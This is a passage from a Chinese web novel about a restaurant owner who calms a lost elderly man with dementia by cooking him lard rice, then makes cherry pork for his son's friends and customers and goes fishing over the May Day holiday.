包子带到学校时，底下煎出来的金黄色依旧带着几分酥脆，和松软的面皮以及内里的馅料融合在一起，简直不要太香。 大早上吃到如此美味的生煎包，胡一齐几人心情都不自觉上扬起来。 盲盒餐厅。 今天很多学生还在过清明假期，上午九点就有一堆学生坐在店里边打游戏边等吃饭。 小月过来时发现一个座位都没有，忍不住对箐玥道：“还是上学时好，没有那么多学生过来跟我们抢饭吃。” “你说反了，好像是我们在和他们抢饭吃。”箐玥小声道。 小月：“又没人规定学校边的店只能学生吃。” 今天中午人比平常更多些，来吃饭的顾客们男女老少都有，店内热闹得不行。 直到午餐时间结束，随着最后一批顾客吃饱喝足带着满足的表情离开，店里才终于恢复安静。 李老太太搞完店里卫生，拎着门外装好的瓶子纸壳就回家休息去。 老太太毕竟年纪大了，有干劲归有干劲，但人容易累，得午休才有精神下午继续上班。 平常她走后楚易文也会回家休息会，但今天他却是没离开店里，而是准备趁午后这段时间熬点猪油。 猪油在好多美食中都能用上，楚易文不愿意买外面的成品，都是自己熬。 随着他将肉切成小块下锅，没多久油脂就从肉里熬出来，散发出浓郁的脂香。熬猪油过程中，楚易文按照老爷子教的在锅里放了点姜片和葱，这样既能给猪肉去腥，还能增加复合香味，让猪油吃起来更香。 随着他在厨房里不停熬猪油，越来越浓郁的油脂香缓缓飘出去，被风一吹，走在街上的路人都闻见这股香味。 “谁家在熬猪油？好香啊！” 大部分路人闻见都只轻嗅两下就继续往前走，然而不远处，坐在的某棵大树下的老人闻见香味却是忽然站起来，顺着香味逐渐向盲盒餐厅靠近。 自从李老太太来店里上班后，楚易文已经没有最开始那种随时关着店门的习惯，此时他人在厨房忙活，店内大门却是敞开着。 “荷花。” 头发斑白，眼神有些浑浊的老人走到盲盒餐厅门口，喊了声没人应他后又继续往里走。 “荷花……” 厨房里，楚易文听见声音转头，就看到一位老人站在门口，有点诧异：“你好，请问有什么事吗？” “荷花，吃猪油拌饭。” 楚易文观察着老人的神情，感觉他有点不太对劲。正好猪油已经熬完，他干脆走过去道：“你家里人呢？” 楚易文问了几句也没问出个所以然，干脆搀扶着他在外面坐下，随即走到门口张望起来。 “楚老板，你找什么呢？”隔壁文具店王老板看到他四下张望，不由问。 楚易文：“有个老人跑到我店里，感觉像是阿尔兹海默症患者。” “阿什么海默？”王老板没听明白。 楚易文：“就是老年痴呆患者。” 王老板在学校边开了好多年的店，闻言很热心地走进盲盒餐厅，想看看自己认不认识。 “我没见过他，我帮你去问问其他人。” 得知这里有个老年痴呆的老人迷路了，旁边店铺的老板纷纷过来查看。 “我也不认识，不过中午时好像看到他坐在马路边的树下。” “我发个朋友圈问问。” 大家都挺热心，有人发短视频，有人发朋友圈，各种扩散看看有没有人认识这位老人。 楚易文见没人认识他，仔细在他身上查看，没找到手机或者联系方式，干脆直接报警。 警察来得挺快，他们试着和老人沟通，但老人嘴里却一直念着“荷花”和“猪油拌饭”，其他什么都问不出来，于是决定先带他回局里，再想办法联系他家里人。 然而就在两位警察想搀扶老人离开时，原本还好好的老人忽然发起脾气来，甚至用手拍桌子。 “没事没事……” 大家赶紧安抚他，然而效果不大。楚易文见此，想到老人刚刚一直在念叨猪油拌饭，于是道：“我们吃猪油拌饭好不好？” 原本有些狂躁的老人听到猪油拌饭，点着头说：“荷花，吃猪油拌饭，饿了，想吃猪油拌饭。” “好，我这就去做猪油拌饭，你坐下来，很快就可以吃了。”楚易文放轻声音，用安抚的语气道。 他重复了两遍，老人情绪似乎慢慢平复下来，重新在刚刚那个位置上坐下。 这下警察也不敢再去动那位老人，而是联系局里同事调监控，看看老人是从哪里过来的。 与此同时，楚易文去厨房里将米饭蒸上。 猪油拌饭要热腾腾的米饭拌出来才好吃，煮饭过程中他本来还担心老人会再次发脾气，好在对方只坐在那里嘀嘀咕咕地说着大家听不清楚的话。 米饭快蒸好时，小月、箐玥和其他几个顾客提前过来，远远看到店里都是人时，小月忍不住道：“真是服了，他们怎么来得这么早？” 说完她直接拉着箐玥：“我们走快点，不然又没位置坐。” 小月拉着箐玥一路小跑进店里，结果就看到有警察，瞬间愣住。 啥情况啊？ 两个人互相对视一眼，明明也没做什么坏事，但还是莫名有点怂，退到角落没人坐的位置暗中观察。 她们俩还算好，后面进来的几个男顾客看到有警察，直接被惊得爆了句“粗口”，惹来警察的侧目。 “那个……警察叔叔，他们家饭有什么问题吗？” 一位经常过来吃饭的男顾客看到警察脑洞大开，想到店里的饭那么好吃，好吃到让他天天都惦记着，忍不住怀疑难道是加什么令人上瘾的调料了。 警察：“不要乱说，小心人家老板告你造谣，是有老人走失了，老板做好事……” 听到警察的话，刚进门的几位顾客瞬间都放下心来。 厨房内。 米饭已经蒸好，楚易文拿了只瓷碗出来用热水烫一下，这样能让米饭温度保持更久，让猪油拌饭更加香。 刚蒸好的米饭热气腾腾，用饭勺打散，看起来粒粒分明，软硬适中。米饭盛进碗里，楚易文将中间挖出一个洞，把猪油放进洞里，让油脂慢慢融化进饭里，随后他又将一勺酱油沿着米饭边缘缓缓淋下。 猪油加酱油就是猪油拌饭最简单的吃法，端出去前，他又用盘子装了点碾碎的猪油渣，看看老人需不需要。 “来，猪油拌饭好了。” 楚易文将碗盘放到老人面前时，看起来浑浑噩噩的老人像是忽然清醒一般，边念叨着“猪油拌饭要趁热拌开”边拿起筷子快速搅拌，让每粒米饭都裹上酱油和猪油，呈现酱褐色带着油润光泽。 热腾腾的米饭散发出浓郁米香和猪油的油脂香、酱油的酱香融合，组成一股诱人的复合香气。 “好香啊……” 小月不自觉感叹时，店里其他人也都下意识开始咽口水。 老人将饭拌好，脸上不自觉露出笑容，随即张嘴吃起来。 猪油让米饭变得格外顺滑，咀嚼间米饭本身的清甜和酱油的咸鲜达成完美平衡，在猪油的脂香下，吃起来特别令人满足。 老人一口接一口地吃着，从他脸上露出的满足表情就知道，猪油拌饭肯定很好吃。 他吃到一半时，将桌上的猪油渣碎倒入碗中，金灿灿的猪油渣碎让猪油拌饭看起来更加诱人，吃起来更添一抹酥脆的口感。 “荷花做的猪油拌饭真香！”老人开口夸赞，夸完吃得更加香甜。 “好馋啊，明明就是一碗饭，直接把我看饿了。”小月喉咙滚动两下后，凑到箐玥耳边说。 箐玥：“我也饿了。” 不光是她们，在场的人看着老人那满足中透着几分幸福的吃相，都有被馋到，明明还没到饭点，肚子已经咕咕叫起来。 就在大家被馋得不行时，一男一女跑进店里，男人道：“爸，你怎么又到处乱跑！” 女人则是边向大家道谢边喊了声“爸”，表情里带着无奈。 老人对男人没什么反应，却在看到女人时举起碗道：“荷花，你也吃，你做的猪油拌饭真好吃。” 见父亲忘记所有人，唯独念着早就去世的母亲，女人心里有些难受：“你自己吃吧。” 她说完拿着手机要付钱，楚易文直接摆手表示不用。 “那怎么行。”女人觉得已经给店里添了麻烦，自己找到二维码扫了钱过去，随即坐下来等她爸把饭吃完。 “我爸现在什么都不记得，就记得我妈和她做的猪油拌饭，我们在家也给他做过，但他总是说不是那个味……” 老人的女儿想知道楚易文的猪油拌饭是怎么做的，不由倾述起来。 大家听着她的讲述，又难受又为老人对他妻子的感情而动容。 “你可以关注一下我的账号，我到时候将猪油拌饭的视频发上去。”楚易文道。 老人吃完一大碗猪油拌饭，看得出来心情很好，在儿女搀扶他离开时没再闹腾，而是乖乖跟着一起走。 目送他们和警察一起离开，店内的顾客唏嘘的同时，有人开始嚷嚷起来：“老板，我也想吃猪油拌饭！” 有人则是想吃又有点怀疑：“猪油拌饭真的好吃吗？” 刚刚楚易文是用小电饭煲蒸的米饭，正好还有不少，见他们想吃，他直接将剩下的米饭全部拿猪油拌好。 “吃吧。”猪油拌饭做起来又不难，楚易文连钱都懒得收，直接请他们吃。 热腾腾的米饭配上自己熬的猪油，再加上咸鲜的酱油和酥脆的猪油渣，搅拌均匀后来上一口，简直能香死人。 “好好吃啊！”小月被猪油拌饭的味道给惊艳到，眼睛都微微亮起来，算是明白刚刚那位老人为什么忘记所有，都忘不了这碗猪油拌饭。 恰到好处的猪油分量让米饭油润却不油腻，酱油的咸鲜和米饭的清甜交织在一起，配上猪油渣酥脆的口感，吃起来特别令人满足。 猪油拌饭的味道并不复杂，但这种纯粹的碳水快乐却是直击人的灵魂，让人吃得停不下来。 “太神奇了，猪油直接拌饭吃竟然一点都不油腻，而且越吃越香！”之前从来没吃过猪油拌饭，还担心会腻的顾客尝试之后立刻就“真香”了。 “猪油渣好好吃啊！” “怎么会这么香，唔，哪怕这碗饭碳水爆表，我也好喜欢……” 店里一群人端着碗，什么菜都没有，直接大口大口吃着米饭，脸上全都露出满足的表情。 甚至一碗饭吃完，他们回味着嘴里的余味，还有些意犹未尽。 “老板，我还没吃饱。” “老板，饿饿，饭饭。” “晚饭你们不准备吃了？”楚易文哭笑不得道。 晚饭大家当然要吃，但猪油拌饭也是真没吃够，于是问：“老板，晚上主食可以吃猪油拌饭吗？” “你们不怕胖吗？”楚易文说完又道，“猪油我是准备拿来炒菜的。” “唉呀，老板你别那么死板嘛，反正都是吃，拌饭还是炒菜有什么区别。” “就是就是。” 楚易文摇摇头，直接回厨房准备晚餐去。 他熬的那么多猪油原本是留着慢慢炒菜用的，结果外面那帮顾客在店里人越来越多时，直接替他宣传起猪油拌饭的美味，搞得其他顾客都跟着嚷嚷起来，说他们也要吃。 第98章 樱桃肉 “老板你不能偏心！我们也要吃猪油拌饭！” “老板, 老板我知道你听得见，老板我要吃猪油拌饭……” 厨房里，楚易文听到顾客们的声音感觉有些无奈, 不过为了耳根子清静，最终还是应了声：“知道了。” “好耶，待会有猪油拌饭吃了。” “我还没吃过猪油拌饭，真的好吃吗？除了猪油里面还有什么？” “猪油拌饭你都没吃过？就是用猪油和酱香拌饭。” “啊……这能好吃吗？” “别人做的不知道，老板做的反正挺香，不用配菜我就吃掉一大碗。” 店里的年轻顾客基本上都没吃过猪油拌饭，倒是赵老爷子这些老年人, 听到猪油拌饭都有些怀念。 在那个物资匮乏的年代，猪油拌饭可是好东西，只有过年熬猪油才能吃上。 “不提还好, 提到猪油拌饭我还真挺馋。”赵老爷子说话间脑海中不由浮现曾经吃猪油拌饭时的记忆。 既然答应顾客们，楚易文自然说到做到，晚餐的菜做好就将米饭打进盆里, 用猪油和酱油拌好米饭。当然，考虑到可能有人会想吃白饭, 他没都拌完，留了些白饭一起端出来。 “好香啊……” 饭菜的香味和猪油拌饭特有的油脂香飘出来，勾起顾客们心底最深的食欲，此时什么念头都抛之脑后, 只剩下“想吃饭”这个想法。 “唔，猪油拌饭确实好香好好吃啊！” “我还以为用猪油拌饭会很油，没想到非但不油腻，还这么香。” “明明是最简单朴素的做法，为什么会这么好吃？” 猪油拌饭做法确实很朴素, 就是最简单的米饭加猪油加酱油，但恰到好处的咸鲜配上油脂香，还有米饭本身的清甜香气，让人越吃越香，同时那种主食的饱腹感更是令人满足。 顾客们买好饭后都不用吃菜，空口就能干掉小半碗米饭，香得眼睛都眯起来。 赵老爷子：“就是这个味道，真是令人怀念。” 不光老人和年轻顾客爱吃，小朋友更是喜欢吃，吃得脸颊都鼓起来。 “饭饭真好吃呀~” “别光吃饭，也吃点菜。” 小孩子好多都没办法一心二用，在猪油拌饭太香的情况下，直接忘记吃菜，家长们赶紧开口提醒。 店里不少人已经吃上时，学校里上了一天课的高三生们终于出来，刚出大门就闻见特别诱人的饭菜香。 有家长帮忙买饭的还好，一溜烟向着盲盒餐厅小跑，没有人帮忙买饭，出来也只能吃其他店的学生简直口水都要被馋出来。 胡一齐：“好香啊，楚爸肯定又做好吃的了！” 他说完，撒腿就往店里跑，明明是几个人里腿最短的，此时却跑得最快。 如果说在外面就能闻见饭菜香，那么等进店里时，就是直接被浓郁香味扑了一脸，瞬间就让人馋得嘴里不停分泌津液。 “楚爸~” 听到胡一齐欢快的声音，楚易文头也不抬道：“你们几个是想吃白米饭还是吃猪油拌饭？” “猪油拌饭？”胡一齐视线扫过店里顾客，看到他们端着酱油色米饭吃得那叫一个香，立刻道，“我要吃猪油拌饭！” 至于楚瑾钰他们，几人中除了邵言易，其他人还真没吃过猪油拌饭，于是都选择尝尝猪油拌饭。 很快午餐上桌，热腾腾的猪油拌饭散发着一股由油脂香、米香、酱香融合的浓郁香气，让人迫不及待想要品尝。 胡一齐端起碗扒了一大口米饭，眼睛顿时亮起来：“好吃！” 猪油完全融入每粒米饭中，让它不光看起来更加油润晶莹，吃起来更是比普通米饭要顺滑，酱油的咸鲜衬托出米饭本身的清甜，越嚼越香。 别说胡一齐他们，就连不爱太油腻吃食的商时贸都觉得猪油拌饭很香，原本只是盛了一小碗，吃完又添了不少。 猪油拿来做猪油拌饭，熬猪油产生的猪油渣楚易文也没浪费，拿来炒青菜。 翠绿的青菜配上金黄酥脆的猪油渣，两种颜色交织出一幅漂亮的画卷，看着就令人食指大动。青菜的清爽香气和撩人的蒜香中和油脂带来的肉香，让它闻起来醇厚而不油腻。 大火快炒出来的青菜口感特别爽脆，水分被完全锁在菜里，每一口都格外清脆柔嫩。 邵言易吃口猪油拌饭再来口青菜，从朴素的食材中尝到极致的美味，越吃越觉得享受。 由于火候和时机把握得好，青菜炒猪油渣里的猪油渣吃起来依旧保持着酥脆，当咬到它时，外脆里韧，咀嚼间焦香与咸鲜在味蕾上蔓延，味道令人惊艳。 邵言易越吃越佩服楚易文的手艺，决定等高考结束要抽空学习一下他发的视频，等以后就能做饭给奶奶吃。 店里顾客们倒是吃开心了，楚易文下午熬的猪油却是一点没剩下，算是白忙活，接下来还得找机会再熬。 “老板你做的猪油拌饭真好吃，有什么秘诀吗？” “秘诀就是米饭要蒸得软硬适中，粒粒分明，而且趁热时拌猪油，拌的时候……”楚易文简单说完，表示到时候会上传视频。 “老板，猪油怎么熬？我感觉你熬的猪油好香啊！而且一点腥味都没有，只有浓郁的油脂香。” 猪油拌饭这种纯粹的碳水快乐偶尔吃上一次，绝对能让人发自内心感到幸福。顾客们吃饱喝足都还有点意犹未尽，纷纷开口询问。 楚易文边收拾卖完的空盆边随口回答，等顾客们得到答案离开终于有空去吃饭。 等他在桌前坐下，立刻又得到儿子和胡一齐他们的夸夸夸。 “爸你做的猪油拌饭真香。” “楚爸，青菜里放的是猪油渣对吧？太好吃了。”胡一齐道。 楚易文等到他们夸完，语气带着几分无奈道：“本来熬猪油是准备留着炒菜的，结果现在全拿来做猪油拌饭了。” 楚瑾钰有点疑惑，多问了几句得知是下午有个阿尔兹海默症的老人迷路到店里，为了安抚他才做的猪油拌饭，结果顾客们都吵着要吃，这才理解他爸的无奈。 “没事楚爸，你明天再熬点就好了。” 胡一齐宽慰的话刚落，旁边桌上还在吃饭的顾客立刻抬头：“老板，我明天还想吃猪油拌饭！” “猪油拌饭偶尔吃吃就行了，天天吃会胖的。”楚易文道。 顾客们闻着却是一副我不听我不听的模样，非说猪油拌饭没吃够。 当天晚上，楚易文将熬猪油和猪油拌饭的视频传到网上的时，不知是谁将下午那个老人在店里的情况拍下来发出去。 网友们看到这种好人好事的视频，都有些动容，当然也有吃货被老人吃猪油拌饭的画面给馋到，于是很快摸到楚易文账号底下。 【老板真是人好手艺更好，就冲你善待老人，等有时间我高低要去店里支持一下生意。】 【明明就是简单的猪油、酱油加米饭，怎么会看起来如此诱人，正好很快就要到五一了，我到时候买票去云市尝尝。】 【大晚上的给我看饿了，忽然好想吃猪油拌饭，家里没有猪油，但是有猪肉，有点想自己做一下。】 【外地的人，心意我替老板领了，但你们真不用过来支持，我们本地人想去吃顿饭就很不容易了，你们别来增加排队难度。】 【嗯？这家店生意很好吗？那我更得去瞧瞧了，现在就订票。】 【你说不来就不来？我偏要去。】 帮助迷路老人算是做好事，接下来几天，云市本地好多自媒体也纷纷转发视频，结果大家感动的同时，全都被猪油拌饭给馋到。 接下来的日子，不少云市本地人特意跑过来吃猪油拌饭，楚易文也不好让大家失望，于是店里的猪油根本留不住，刚熬出来就被吃掉。 楚易文跟儿子吐槽时，楚瑾钰笑着表示：“爸，你说咱们店里是不是有什么‘猪油不能存在’的规则怪谈。” 自从离开公司后，空闲时间楚易文没少接触游戏和网络小说，和儿子之间倒是没代沟，直接听懂他在说什么，表情顿时更加无奈。 楚瑾钰看到他爸的表情，出主意道：“或者你干脆别熬猪油了，需要用猪油的菜不做就是，反正爸你会的菜那么多，不怕没东西做。” “主要有不少老人都特意过来，想要尝尝以前的味道，总不好让人失望。” 好在熬猪油对楚易文来说其实也不算难，一次能同时熬好几锅，他就是跟儿子吐槽一下，等有人来店里指明要吃猪油拌饭时，只要猪油没用完还是会满足。 时间飞逝，进入四月底后温度快速上升，有些怕热的人甚至已经开始穿短袖。 与此同时，早熟品种的樱桃开始上市，今年可能是樱桃丰收年，街上到处都有人开着三轮车在卖樱桃。 这天周末，楚瑾钰喊叶其林他们一起到家里来做作业，结果没有用的默契又产生了，叶其林、胡一齐、商时贸、邵言易每个人过来时手里都拎着樱桃，其中胡一齐更是拎了两袋。 “不是，你们……”楚瑾钰望着桌上他爸洗的一大盘樱桃，感觉有些无语，最终视线落到胡一齐身上，“他们都只买一袋，你买两袋干嘛？” “这袋是在我家附近买的，结果到你家这边，发现有人卖的更便宜，就忍不住又买了一袋。”胡一齐道。 楚易文看到儿子无语的表情，再看看胡一齐他们无辜的表情，感觉有些好笑。 “没事，正好可以做道樱桃肉给你们尝尝。”他昨天买樱桃时收获樱桃肉菜谱，昨晚刚学会这道菜。 叶其林之前在酒店时吃过樱桃肉，闻言好奇道：“楚爸，樱桃肉里有樱桃吗？” “你真是废话，樱桃肉里没樱桃叫什么樱桃肉。”胡一齐道。 叶其林：“老婆饼里难道有老婆？我之前吃的樱桃肉里就没有樱桃，只是把肉的形状做成樱桃大小，再染成红色。” “樱桃肉也可以加上樱桃来做，这样做出来会带着水果风味。”楚易文道。 水果做菜，如果换做别人，楚瑾钰他们肯定第一反应就是黑暗料理，但听到楚易文的话，几个孩子却是瞬间就期待起来。 “行了，你们做作业吧，做完就有樱桃肉吃。” 现在时间还早，楚易文没立刻去做饭，而是回书房玩了会手机，等时间差不多时才去厨房。 前几天他买了点品质很不错的墨鱼干，这会正好能拿出来加上排骨炖个墨鱼排骨汤。 用砂锅将汤先炖上，他转身开始处理其他食材，很快台面上就整齐摆放着各种切好的食材，看起来很有条理感。 食材处理完，他先淘米将米饭给蒸上，然后开始做菜。随着一道道菜出锅，厨房里香味简直能馋死个人。 终于轮到樱桃肉时，楚易文将腌制好的猪里脊肉丁先下锅油炸，第一次炸至微黄定型就赶紧捞出来，全部炸完后进行二次复炸。 肉丁炸好，他在锅里留底油，小火把姜末、蒜末爆出香味，倒入自制番茄酱炒出香气和颜色，随即加入现榨樱桃汁、白糖、盐和少许清水。 随着酱汁被烧开，樱桃特有的果香被完全激发出来，楚易文尝了口味道，感觉酸甜适中，快速加入水淀粉收汁。 浓稠漂亮的红色酱汁烧好，他将一小碟去核樱桃和刚刚炸好的肉丁下入锅中翻炒，很快樱桃和肉丁全部裹上酱汁，几乎分辨不出哪些是真樱桃，哪些是肉丁。 菜出锅后饱满红亮的樱桃躺在八瓷盘中，看起来就像是新鲜采摘的樱桃，等楚易文在顶上放置翠绿的薄荷叶当点缀，卖相更加鲜亮诱人。 “吃饭了。” 早在闻见浓郁的菜香时，胡一齐就有些坐不住，此时听见楚易文喊吃饭，立刻放下笔就往厨房跑。 “好香啊！楚爸我都饿了！” 随着胡一齐他们跑过来，厨房里立刻热闹起来，只有邵言易留在餐厅里，将桌上书本全部收拾起来放到旁边，又找了抹布将桌子擦干净。 饭菜很快上桌，大家很快就注意到那盘色泽红亮的樱桃肉。 “这是肉？”胡一齐眨巴着眼睛，将旁边没吃完的果盘拿过来做对比，“楚爸你不说的话，我还以为你是装了盘樱桃。” 叶其林凑近深嗅两下，确实在浓郁的果香中闻出带着焦香的肉味，立刻好奇起来，伸出筷子夹起一个送进嘴里。 其实仔细观察的话还是能看出来，真樱桃表面带着水润光泽，樱桃肉经过油炸，表面的酥壳在酱汁的包裹下虽然也带着光泽，但还是有细微区别。 “好好吃啊！” 叶其林运气不错，随手一夹就夹到樱桃肉，外壳特别酥脆，内里则是鲜嫩多汁，咀嚼间层次分明的酸甜香和肉鲜味融合，特别美味。 看到他已经开吃，胡一齐迫不及待也夹了个樱桃肉塞进嘴里，结果那爆汁感差点没把他给烫到。 “唔，好烫……” 显然，他吃到的是真樱桃，果肉在嘴里爆开，甜中带酸的果汁瞬间溢出来，热乎乎的口感和新鲜樱桃吃起来完全不同。 楚易文：“小心点，樱桃里面的汁水有点烫。” “楚爸你刀工真好，我都没看出来哪个是肉，哪个是樱桃。”胡一齐咽下嘴里樱桃后夸道。 楚易文闻言，笑着夹了个樱桃肉放到他碗里。 “楚爸你做的樱桃肉真好吃，比我之前吃过的更香！”叶其林吃完嘴里的樱桃肉也夸起来。 他以前吃过的樱桃肉就是单纯的酸甜口炸肉，但刚刚吃的却是带着樱桃特有的果香和酸甜味，特别好吃。 他和胡一齐夸赞时，楚瑾钰几人也都吃上樱桃肉，同样有被惊艳到。 樱桃肉整体是酸甜口，番茄酱的酸和樱桃的酸，糖的甜和樱桃的甜交织在一起，特别有层次感。酱汁的酸甜味和肉丁的焦香酥脆达成完美平衡，吃起来酸甜适口，香而不腻。 “唔，爸你做的这道樱桃肉真是又好看又好吃，发到网上肯定吸引人。”楚瑾钰咀嚼着又香又开胃的樱桃肉，吃完感觉嘴巴里还残留着清爽的果香。 商时贸：“好吃。” “又香又开胃，感觉比直接吃樱桃更加美味。”邵言易。 见几个孩子都爱吃，楚易文脸上露出笑容：“你们喜欢吃就好。” 樱桃肉不光好吃，吃起来还很有趣，那种会吃到肉还是真樱桃的赌博感，让几个孩子甚至边吃边玩起来。 比例完美的酱汁酸甜平衡得恰到好处，甜而不腻，酸而不呛，猪肉的鲜香透过酱汁蔓延出来，咽下去时嘴里果香浓郁，令人欲罢不能。 正如楚瑾钰所说，等晚上楚易文将视频发到网上时，那漂亮的樱桃肉立刻吸引到粉丝们。 【这是肉？如果不看做菜过程，我差点以为老板装了盘樱桃在逗我玩。】 【我去，这樱桃肉做的也太像樱桃了，最后真樱桃下锅时，我都有点分不出来哪个是樱桃，哪个是肉。】 【你这是樱桃肉的话，那我之前吃的算什么？［图片］】 【我知道，算炸肉！哈哈哈哈，你那樱桃肉都不是圆形，不说的话我还以为是淋了酱的炸酥肉。】 【太漂亮了！这个我是真想学。】 【我不想学，我只想吃，老板你什么时候在店里做樱桃肉？我请假都得去吃！】 【哇，这樱桃肉真漂亮，拍照肯定出片，我要带上我最喜欢的玻璃餐具去店里吃！】 不光评论区很热闹，次日店里，顾客们只要刷到过视频，都喊着要吃樱桃肉。 “老板，昨天看完你发的视频，我做梦都梦见樱桃肉。” “想吃樱桃肉，老板你下午能做吗？” “求求了老板，让孩子吃口樱桃肉吧……” 顾客们是真能磨人，有人自己开口，有人让自家孩子撒娇，反正目的就一个——吃樱桃肉！ “现在樱桃刚上市，我准备等过段时间时再做的，这样价格会便宜些。”楚易文道。 今年樱桃倒是不贵，但过段时间肯定会更便宜，他之所以没立刻在店里做樱桃肉，就是想等价格再低点。 “没事，老板你现在做吧，我们不嫌贵。” “对啊，我现在就想吃。” 以楚易文的手艺，放到大酒店里卖个几百块都有可能，顾客们根本不觉得他家菜贵，毕竟食材品质大家都吃得出来。 见顾客们非要现在就吃，楚易文只能答应下来，表示明天就买樱桃。 次日早上他采购完食材回来，随着李老太太在厨房帮忙洗樱桃，整个店里都弥漫着樱桃特有的果香。 李老太太：“我还是头一回知道樱桃还能用来做菜。” 周末邵言易回家时就跟她分享过，老太太听着感觉很稀奇，没想到今天自己也能吃上，心里还有点期待。 “很多水果都可以用来做菜，比如菠萝、荔枝和樱桃。”楚易文笑着道。 李老太太：“荔枝也能做菜？” “对，可以做荔枝酿肉。” 樱桃洗完先去核，随即一部分用来榨汁，一部分留着待会放到菜里。 两个人在厨房里忙碌时，没多久就有顾客开始上门，在门外就闻见香味。 “一股樱桃果香，好好闻啊！” “看来今天有樱桃肉吃，还真挺期待。” “樱桃肉太漂亮了，我特意带了盘子过来。” 爱美之心人皆有之，由于樱桃肉漂亮得太赏心悦目，今天专门带精致盘子过来的顾客还不少。 随着店里人越来越多，樱桃肉特有的酸甜气息从厨房飘出来，光是闻着就令人胃口大开。 “好好闻的果香，我口水都快下来了。” 好在樱桃肉是最后一道菜，等到菜出锅，顾客们立刻就被楚易文端出来的樱桃肉给惊艳到。 “好漂亮啊！像是一盆新鲜采摘的樱桃！” “老板，给我打在这个盘子里。” 楚易文在评论区就看到有人说要自带盘子，特意准备了不少薄荷叶，打完将叶子放上去，红亮的色泽和翠绿的薄荷叶形成鲜明对比，看起来赏心悦目。 第99章 佛跳墙 “真是完美, 我都看不出来哪个是樱桃，哪个是肉！” 美好的东西总是能令人心情愉悦，顾客们买到樱桃肉后还没开始吃就先夸起来。 “漂亮得我都有点舍不得吃了。” 说是舍不得吃, 实际上在那股酸甜开胃的果香诱惑下，顾客们拍完照还是直接夹着樱桃肉往嘴里送。 今天特意来店里拍视频做直播的人不少，风哥就是其中一位，他夹起个樱桃肉对着镜头：“你们猜这个是真樱桃还是樱桃肉？” 直播间里有人猜樱桃，有人猜是樱桃肉，还有人在怀疑用樱桃炒出来的肉真的能好吃吗？ “闻起来酸酸甜甜，带着樱桃的果香, 很开胃，现在让我来尝尝。”风哥说完直接咬上去，细微的“咔嚓”声证明他吃到的是肉而非樱桃。 经过复炸的肉丁带着酥脆的外壳, 内里则是鲜嫩多汁，随着咀嚼肉鲜味和表面的酸甜酱汁融合，又香又开胃。 “看来我运气不错, 第一口就吃到肉，味道很不错, 外酥里嫩，酸甜适中，吃完嘴里残留着樱桃特有的果香，特别令人回味。”风哥边说边向粉丝们展示被自己咬掉一半的樱桃肉, 话落的同时将剩下那半塞进嘴里，吃得那叫一个香。 【给我看馋了，还好家里有樱桃，我去洗点来解解馋。】 【竟然是肉，刚刚还真没看出来, 老板手艺是真好，都能以假乱真了。】 【见鬼，我竟然会被水果加肉这种搭配给馋到……】 【看起来好像挺好吃的，我也有点想尝尝了，家里正好有肉有樱桃，晚上回家做做看。】 直播间里粉丝们被馋到时，风哥又连吃了几个，终于吃到樱桃。 樱桃肉中的果香主要来源于酱汁中加入的樱桃汁，新鲜樱桃下锅时为免果肉被太软烂，是最后下锅简单翻炒几下，让樱桃依旧保持完美的形状和口感。 “热乎的樱桃吃起来比普通樱桃酸味要浓郁些，但汁水感很足，吃起来感觉果香更加浓郁，味道还不错。”风哥享受着樱桃的爆汁感，边吃边描述。 高温激发出樱桃的果香，轻轻一咬温热的汁水立刻就溢出来，甜中带酸，吃起来很解腻。 这道又漂亮又好吃的菜连大人们都很喜欢，小孩子就更不用说，酸甜口加炸肉，简直是他们最喜欢的组合，一个个吃得嘴角都沾上酱汁。 “妈妈，果果真好吃，还要吃！” “这是肉肉。” 不光普通小孩爱吃，就连仔仔这个之前挑食到只吃米饭的孩子都特别喜欢樱桃肉，不管是里面肉还是樱桃，都吃得特别香。 “我们仔仔现在连水果都爱吃了，真棒！”仔仔妈妈语气透着欣慰，说完还拿手机记录下儿子大口吃东西的模样。 由于樱桃肉拍照太好看，加上它还好吃，接下来天天有顾客喊着要吃樱桃肉，还有人专门开几个小时车过来。 楚易文有些无奈，感觉网络太发达也不都是好事，大家太喜欢跟风，前些日子是猪油拌饭，现在又天天要吃樱桃肉。 好在又忙碌一天后明天就是五月一日，他终于可以关店休息。 高考在六月份，距离现在只剩一个月，五一楚瑾钰就不用想出去旅游了，当然，时间也不允许，学校就只放两天假。 “要不要在市内找地方玩一下？”楚易文想着好歹是五一假期，哪怕只有两天也可以出去玩一玩。 楚瑾钰闻言却是立刻摇头：“还有一堆作业等着我，我今天想窝在家里打一天游戏，等明天再苦哈哈做作业。” 听起来还怪可怜的，但楚易文觉得趁着五月份天气还不是那么热，现在不出门等再过一两个月就热了。 于是下午时，楚易文开口邀请他出去钓鱼，并用现钓现炸的鱼来诱惑他。 楚瑾钰对钓鱼没什么兴趣，但如果是在河边现钓现吃，他感觉还有点意思，想着出去也能打游戏，于是答应。 父子俩开车到达目的地后，楚瑾钰直接开始布置起来，又是折叠躺椅又是折叠桌，还给自己带了水果零食饮料。 楚易文见他挺会享受，便不再关注他，而是在河边坐下来开始钓鱼。 今天天气特别好，不冷不热，坐在河边时不时有风吹过来，父子二人一个钓鱼，一个靠在躺椅上打游戏，画面看起来还挺惬意。 “胡一齐你能不能别坑了？” 户外打游戏感觉确实不一样，楚瑾钰望着蓝天白云，感受着扑面而来的风，哪怕游戏输掉都还算心平气和，吐槽完端起饮料喝两口就继续下一把。 与此同时，几只猫被楚易文钓鱼的动作吸引过来，有些只是在远处趴着，有两只却是直接凑到楚易文面前，目不转睛望着河面。 他今天运气还可以，很快就上鱼，和手掌那么大的鱼他直接投喂给猫猫们，剩下两指长的小鱼先丢进桶里，等数量攒得比较多以后，直接收拾干净用带来的小锅开始油炸。 炸鱼特有的焦香在河附近弥漫开来，直接把楚瑾钰吸引过来。 “爸，你把大鱼给猫吃，小鱼给我吃？这合理吗？” 楚易文：“小鱼炸好连刺都可以吃，比大鱼还香些。” “喵呜~” 楚瑾钰还在吐槽大鱼、小鱼，猫猫却是全都要，明明地上大鱼还没吃完，闻见炸鱼香味又开始叫起来。 而手机那头，跟楚瑾钰一起打游戏的胡一齐听见声音，立刻嚷嚷起来：“楚爸，我也想吃炸鱼！” “那你过来吃。”楚易文说完将地址告诉他。 楚瑾钰刚刚还嫌鱼小，现在却是已经吃上，别说，现钓的鱼吃起来就是鲜，尤其是配上他爸调的蘸料时，焦香酥脆中带着咸和辣味，越吃越香。 “你别来，我都吃完了。”他“咔嚓咔嚓”将刚炸好的鱼塞进嘴里，对着手机那头的胡一齐道。 胡一齐：“你就不能给我留点！” 